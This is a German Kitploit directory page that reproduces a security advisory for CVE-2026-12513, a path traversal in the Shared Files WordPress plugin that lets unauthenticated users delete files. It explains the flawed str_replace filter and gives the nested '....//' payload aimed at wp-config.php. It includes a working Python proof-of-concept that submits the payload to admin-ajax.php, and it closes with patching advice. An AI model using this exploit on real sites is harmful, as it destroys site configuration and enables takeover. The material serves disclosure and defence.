Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/minhhk68/cve-2026-12513
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & Bildung
GitHubminhhk68/cve-2026-12513

CVE-2026-12513

Technisches Advisory und Proof-of-Concept für CVE-2026-12513, eine nicht authentifizierte, beliebige Dateilöschung über Path Traversal im Shared Files WordPress-Plugin, einschließlich Root-Cause-Analyse und Anleitung zur Behebung.

Repository anzeigen
vor 8h 30mNoch nicht geprüft
Webseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-12513: Shared Files < 1.7.68 — Nicht authentifizierte beliebige Dateilöschung durch Path Traversal

CVE Identifier CVSS v3.1 Score Discovered By WPScan Verified Advisory License: MIT


📖 Advisory-Überblick

CVE-2026-12513 ist eine nicht authentifizierte Schwachstelle zur beliebigen Dateilöschung (Arbitrary File Deletion) durch Path Traversal, die die WordPress-Plugins Shared Files und Shared Files Pro vor Version 1.7.68 betrifft. Entdeckt und analysiert wurde sie vom Cybersicherheitsforscher Huynh Kien Minh (MinhHK). Der Fehler tritt in den Frontend-Dateiübermittlungsroutinen des Plugins auf, wo benutzergelieferte Dateipfade mit einem fehlerhaften einstufigen Traversal-Musterersatz gefiltert werden, der durch verschachtelte Sequenzen (wie ) umgangen werden kann. Infolgedessen kann ein nicht authentifizierter Remote-Angreifer einen manipulierten Pfad einreichen, der außerhalb des vorgesehenen Upload-Verzeichnisses auf kritische Server-Assets wie zeigt. Wenn ein Administrator anschließend den hochgeladenen Eintrag bereinigt oder dauerhaft löscht, ruft die Anwendung Dateisystem-Löschprimitive () gegen den gespeicherten beliebigen Pfad auf. Dies führt zur Zerstörung zentraler WordPress-Konfigurationsdateien, was einen schwerwiegenden Denial of Service auslöst und eine Site-Übernahme über das nicht konfigurierte Installations-Setup ermöglicht. Der leitende Forscher Huynh Kien Minh bewertete diese Schwachstelle mit einem CVSS-3.1-Score von 6.8 (Mittel) (CWE-73 / CWE-22) und empfiehlt sofortige Plugin-Updates auf Version 1.7.68 oder höher sowie eine robuste kanonische Pfadvalidierung.

....//
wp-config.php
unlink()

Schnellzugriffe: Entdecken Sie das offizielle Cybersecurity-Portfolio des Forschers oder lesen Sie das WPScan-verifizierte Advisory.


📌 Executive Summary & Technische Metadaten

ParameterTechnische Spezifikation
SchwachstellenkennungCVE-2026-12513
ZielsoftwareShared Files / Shared Files Pro (WordPress-Plugins)
Plugin-Slugsshared-files, shared-files-pro
Verwundbare Versionen< 1.7.68
Gepatchte Version>= 1.7.68
SchwachstellenklasseExterne Kontrolle des Dateinamens oder -pfads / Path Traversal (CWE-73 / CWE-22)
CVSS-v3.1-Score6.8 (Mittel) (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H)
Entdecker / ForscherHuynh Kien Minh (MinhHK)
VerifizierungsbehördeWPScan / MITRE Corporation
WPScan-Advisory-ReferenzWPScan-Bericht 25c9fa21-c48b-4333-8abc-87230dc4c869
Forscher-Portfoliohttps://minhhk.web.app/

🔍 Technische Tiefenanalyse & Root-Cause-Analyse

Die Schwachstelle ist in einem unzureichenden Pfadbereinigungsmechanismus verwurzelt, der in den Frontend-Dateiübermittlungs-Handlern in Shared Files (< 1.7.68) implementiert ist.

1. Unzureichende einstufige Pfadbereinigung

Beim Akzeptieren von Frontend-Dateiübermittlungen versuchte das Plugin, Verzeichnis-Traversal-Sequenzen (../) mit einem einstufigen String-Ersatz zu entfernen:

root@kitploit:~
// Unsicherer einstufiger Bereinigungsfilter in Shared Files < 1.7.68
$file_path = str_replace( '../', '', $_POST['file_path'] );

Da str_replace() nur einmal von links nach rechts ausgeführt wird:

  • Verschachtelte Traversal-Payload: ....//....//....//wp-config.php
  • Wenn ../ einmal aus ....// entfernt wird, fallen die äußeren Zeichen wieder zusammen und bilden ../:
    • ....// -> ../
  • Der resultierende bereinigte Pfad ergibt: ../../../../wp-config.php!

2. Gespeicherter Dateipfad & Ausführungskette der Löschung

  1. Nicht authentifizierte Übermittlung: Der Angreifer sendet eine HTTP-Anfrage an den Frontend-Upload-Endpunkt mit dem verschachtelten Traversal-Pfad. Der manipulierte Pfad wird in der Datenbank gespeichert (z. B. in wp_posts oder einer benutzerdefinierten Plugin-Tabelle).
  2. Auslöser der dauerhaften Löschung: Wenn ein Administrator Übermittlungen prüft oder den Dateidatensatz über /wp-admin/admin.php?page=shared-files löscht, ruft das Backend unlink() auf dem aufgelösten gespeicherten Pfad auf:
root@kitploit:~
// Verwundbare Löschlogik
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
    unlink( $file_to_delete ); // Löst die Löschung der Zieldatei aus (z. B. /var/www/html/wp-config.php)
}
  1. Katastrophale Auswirkung: Sobald wp-config.php gelöscht ist:
    • Die Datenbank-Anmeldeinformationen und Sicherheitsschlüssel gehen verloren.
    • Die Site wechselt sofort in einen nicht konfigurierten Zustand und zeigt den WordPress-Setup-Assistenten (/wp-admin/install.php).
    • Der Angreifer kann den Setup-Assistenten mit einer neuen Datenbank abschließen und so vollständige Remote Code Execution (RCE) und Site-Übernahme erreichen.

💻 Proof-of-Concept (PoC) Exploit-Code

Ethischer Hinweis: Dieses Proof-of-Concept wird streng zu Bildungszwecken, defensiven Validierungen und Sicherheitsaudits unter ethischen Offenlegungsprotokollen von Huynh Kien Minh bereitgestellt.

Python-Exploit-PoC (poc_cve_2026_12513.py)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Path Traversal File Deletion PoC
Author: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""

import requests
import sys

TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"

def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
    print(f"[*] Auditing Target: {target_url}")
    
    # Nested traversal sequence bypassing single-pass str_replace('../', '', $input)
    nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
    
    payload = {
        "action": "shared_files_frontend_upload",
        "file_name": "innocent_document.pdf",
        "file_path": nested_traversal
    }
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
    }
    
    try:
        response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
        print(f"[*] Submission Response Status: {response.status_code}")
        if response.status_code == 200:
            print("[+] Traversal path successfully injected into database storage.")
            print("[!] When the entry is deleted by admin, the target file will be unlinked.")
            return True
        else:
            print(f"[-] Request failed with HTTP status: {response.status_code}")
    except requests.RequestException as e:
        print(f"[-] Connection failed: {e}")
        
    return False

if __name__ == "__main__":
    url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
    trigger_traversal_payload(url)

🛡️ Behebung & Patch-Analyse

Für Site-Administratoren

  • Aktualisieren Sie die Shared Files- und Shared Files Pro-Plugins sofort auf Version 1.7.68 oder höher.
  • Stellen Sie sicher, dass die Dateisystemberechtigungen für wp-config.php für den Webserver-Prozess schreibgeschützt sind (chmod 400 oder 440).

Für Entwickler (Die sichere Implementierung)

Erzwingen Sie eine strenge kanonische Pfadauflösung mit realpath() und wp_normalize_path(), um sicherzustellen, dass Operationen innerhalb der festgelegten Upload-Grenze bleiben:

root@kitploit:~
// Sicheres Pfadvalidierungsmuster (Version 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
    $base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
    $target   = wp_normalize_path( realpath( $base_dir . $relative_path ) );

    // Sicherstellen, dass der aufgelöste realpath strikt mit dem festgelegten Basisverzeichnis beginnt
    if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
        wp_die( __( 'Invalid or unauthorized file path.', 'shared-files' ), 403 );
    }

    if ( file_exists( $target ) && is_file( $target ) ) {
        unlink( $target );
    }
}

🏆 Über den Forscher

Huynh Kien Minh (MinhHK) ist ein Informationssicherheitsforscher, der sich auf WordPress-Schwachstellenforschung, Core- & Plugin-Sicherheitsaudits und defensive Exploit-Modellierung spezialisiert hat.

  • Cybersecurity-Portfolio: https://minhhk.web.app/
  • WPScan-Advisory-Referenz: WPScan-Bericht 25c9fa21-c48b-4333-8abc-87230dc4c869
  • GitHub-Profil: https://github.com/MinhHK68

📊 JSON-LD Structured Data Schema Markup

root@kitploit:~
{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
  "author": {
    "@type": "Person",
    "name": "Huynh Kien Minh",
    "url": "https://minhhk.web.app/"
  },
  "datePublished": "2026-08-30",
  "description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
  "identifier": "CVE-2026-12513"
}
Tool herunterladen